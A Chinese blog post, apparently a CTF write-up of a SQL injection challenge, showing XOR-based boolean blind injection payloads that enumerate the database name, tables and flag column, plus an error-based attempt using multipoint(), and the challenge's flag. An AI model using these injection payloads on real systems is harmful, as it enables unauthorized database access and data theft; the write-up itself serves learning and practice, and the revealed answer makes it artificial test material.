今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了

但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路,这里也写了我自己做题的过程并且也写了我错误的思路等等。

实验吧简单的sql注入3:

连接:

http://ctf5.shiyanbar.com/web/index_3.php?id=1

方法一:

这道题和前两道题的区别,这道题的回显不像上两道题在下面会回显你输入的东西,只会给你返回一个hello!

在上一题里面,我一直靠下面的回显来判断那些东西过滤,而且一次就绕过了过滤的东西(主要是因为我看了别人的writeup)

但是这道题没有下面的回显那我该咋整呢?

这里就会用到这两天get到的一个新姿势,异或注入。

异或注入的知识点并不难,直接看这边博客你就会懂:https://blog.csdn.net/qq_37873738/article/details/88043659

回到这一道题,这里我们先输入一个单引号

报错,所以可以想到这里是字符类型的注入。ok,接下来用到异或注入的知识,当我们输入   1'^(1)# 时 两边为真 结果为假 所以页面应该是不会返回,

果然没有返回,所以接下来尝试  1'^(0)#  这个两边一假 结果为真 所以页面应该有返回 hello

接下来用  1'^(length('你要测试的字符')>0)#  来判断那些字符被过滤了

首先我手动测试一下,1'^(length('')>0)#  这个语句应该是会返回的,因为 空字符的长度就等于0嘛,这里大于0肯定是假啊, 一真一假返回真,所以页面应该会返回hello

果然是返回了hello,再测试一下1'^(length('and')>0)# 发现没有回显,也就是说and没有过滤,接下来直接用fuzz跑一下那些过滤那些没过滤。

结果发现这几个是被过滤了的,上面的三个可用于基于报错注入,下面两个延时注入。

这个过滤对我们第一种方法并没有什么影响,聪明的你肯定发现,这里只要更换()里的条件,并根据页面的返回就可以直接猜出答案。

先用如下语句:1'^(length(database())=n)#

更换n的值,知道页面不回显,则说明括号里的条件是真

这里先手动改n的值爆数据库的长度,只有n=4时页面才不回回显,说明数据库长度为4

如下 当n=1,2,3时和当n=4时

 这是n=1,2,3的时候

这是n=4的时候

接下来就构造语句爆出库名,表名,列明

这里一个一个的手工测试很麻烦的,所以可以选择写脚本,也可以选择用burp来跑,我直接上burp

抓包,发送到 Intruder

爆数据库名字的语句 1'^(ascii(substr(database(),m,1))=n)#

这里我们知道库名长度为4 m就1-4的变化,直接手动把,后面n就直接1-127 因为ascii 大不了就1-127嘛 结果如下图

/*  这里我想说,每次我用语句现在浏览器里面输入,然后他会url编码,然后我再抓包进行fuzzing测试,这样才会出结果,如果直接再burp里面输入的话,返回的所有长度都一样*/

1'^(ascii(substr(database(),1,1))=119)#   ascii对应w

1'^(ascii(substr(database(),2,1))=101)#   对应e

1'^(ascii(substr(database(),3,1))=98)#  对应 b

1'^(ascii(substr(database(),4,1))=49)#   对应1

就这样,得到了数据库名 web1

接下来就爆表名

先爆表数

1'^((select count(table_name) from information_schema.tables where table_schema=database())=n)#    当n=2时返回的长度都和其他的不一样,所以这里得到表数为2

爆表的长度

1'^(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n)#     // 这里的length后面是两个括号,如果只有一个括号的话会报错,我也不知道为什么。。。。。。

这里长度为4

爆表明

1'^(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),m,1))=n)#

道理和爆库名一样,只需修改m和n的值 ,这里爆出表明为 flag,由于第一题和第二题表名列名都是flag 这里猜测列名也是flag(主要是上一次用exp()报错做出来过,所以这里知道哈哈哈)

爆行flag的长度

1'^(length((select flag from flag))=n)# // 这里的length后面是两个括号,如果只有一个括号的话会报错,我也不知道为什么。。。。。。

这里长度为26

爆数据flag

1'^(ascii(substr((select flag from flag),m,1))=n)#

这样一个一个的测试即可拿出flag

flag{Y0u_@r3_50_dAmn_900d}

我是小白,个人知道的注入方法就四种:

1.union注入,这个再前面我写了一篇

2.延时注入

3.报错注入

4.基于布尔的注入

这道题表面上用的是抑或注入,实际上我所用的方法就是基于布尔

这儿推荐一个大神的博客,他没有用到异或注入,就是直接用的布尔,原理差不多一样的

https://blog.csdn.net/tc125/article/details/80302386

个人觉得异或注入更容易写脚本,脚本隔两天附上。。。。

方法二:

但是我始终觉得不爽,因为这道题的提示是报错注入,但是我却始终没用到报错溢出信息过,虽然之前我用exp()报错做出了这道题,但是现在用这个不行了,所以我在网上又搜缩了一下报错函数

推荐这个博客:https://blog.csdn.net/whatday/article/details/63683187

这里面有十个 有的被过滤了,没过滤的我一个一个的试

没想到还真的报了出来,multipoint()可以报出来

1' and multipoint((select * from(select * from(select databse())a)b))#

web1 报出了哈哈哈,接下来报各种的名字

但是,,,当我报表名时 1' and multipoint((select * from(select * from(select group_concat(table_name) from information_schema.tables)a)b))#

出现了这个

和exp()报错出现的情况一模一样。。失败

唉,害的我白高兴一场

实验吧简单的sql注入3的更多相关文章

  1. 实验吧简单的SQL注入1,简单的SQL注入

    接上面一篇博客. 实验吧简单的sql注入1 题目连接   http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误,            ...

  2. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  3. 实验吧 简单的SQL注入1

    解题链接:http://ctf5.shiyanbar.com/423/web/ 解题思路:一,   输入1,不报错:输入1',报错:输入1'',不报错. 二 ,   输入1 and 1=1,返回1 1 ...

  4. 实验吧_简单的sql注入_1、2、3

    简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...

  5. 【实验吧】CTF_Web_简单的SQL注入之3

    实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...

  6. 实验吧之【简单的sql注入 1、2、3】

    实验吧的三道sql注入(感觉实验吧大部分web都是注入) 简单的SQL注入 地址:http://ctf5.shiyanbar.com/423/web/ 这道题也是sql注入,输入1,页面显示正常,输出 ...

  7. 【实验吧】CTF_Web_简单的SQL注入之1

    题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...

  8. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  9. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

随机推荐

  1. 20187101035 张玉晶《面向对象程序设计(java)》第八周学习总结

    201871010135   张玉晶 <面向对象程序设计(java)>第八周学习总结> 项目 内容 这个作业属于哪个课程 <任课教师博客主页链接> https://www ...

  2. HTML与CSS学习笔记(2)

    1.CSS背景样式? background-color 背景色 background-image 背景图 url(背景地址) 默认:会水平垂直铺满背景图 background-repeat 平铺方式 ...

  3. JWT 学习资料

    学习资料 网址 官方网站 https://jwt.io/ debugger https://jwt.io/#debugger 相关的类库 https://jwt.io/#libraries (java ...

  4. UiPath:Delay延迟执行,解决UiPath自动输入值不完整问题

    学习过程中出现点击按钮后,由于网页弹出框显示速度慢,造成输入值遗漏或者根本就没有输入问题. 查阅了一下,目前解决方法是在点击按钮后加一段延迟时间,等待他显示完整在输入值.如图 时间格式以秒为单位 00 ...

  5. matlab的plot3()函数、mesh()函数和surf()函数

    1.plot3()函数 例1:绘制一条空间折线. x=[0.2,1.8,2.5]; y=[1.3,2.8,1.1]; z=[0.4,1.2,1.6]; figure(1);plot3(x,y,z); ...

  6. cf1208G Polygons 欧拉函数

    链接 cf 给你两个正整数\(n\)和\(k\),询问在一个圆上你最少需要几个点构才能造出\(k\)个边数小于等于\(n\)的正多边形 思路 深受迫害,所以写的详细一点,不会请留言. 性质1 考虑加进 ...

  7. 通过扫码打开IOS的App Store下载APP(Android版暂时没找到解决方法)

    项目需求:扫码根据不同平台下载不同版本的APP.主要是ios和Android. 网上找了很多,前面判断平台的代码很容易找到,但是后面的就有些坑了.有的人的是根本跑不通.有的是代码补全. 下面是 微信扫 ...

  8. curl 用法

    背景 linux上发起http请求 使用方法 # get请求 curl "http://jwen.me/" # 获取返回的信息头 curl -i "http://jwen ...

  9. android 自定义gridview(导航)

    最近又重新做回安卓,做了个小项目.下绝心使用android studio,通过这一回实战,终于用上了.综合了前人的经验,搞了个自己满意的导航界面,用的是gridview. 代码: package co ...

  10. (四)golang--注意事项

    以.go为结尾: 执行入口是main()函数: 区分大小写: Go方法由一条条语句构成,每个语句后不需要加问号: Go编译器是一行行进行编译的,一行不能写多条语句: go语言定义的变量或者import ...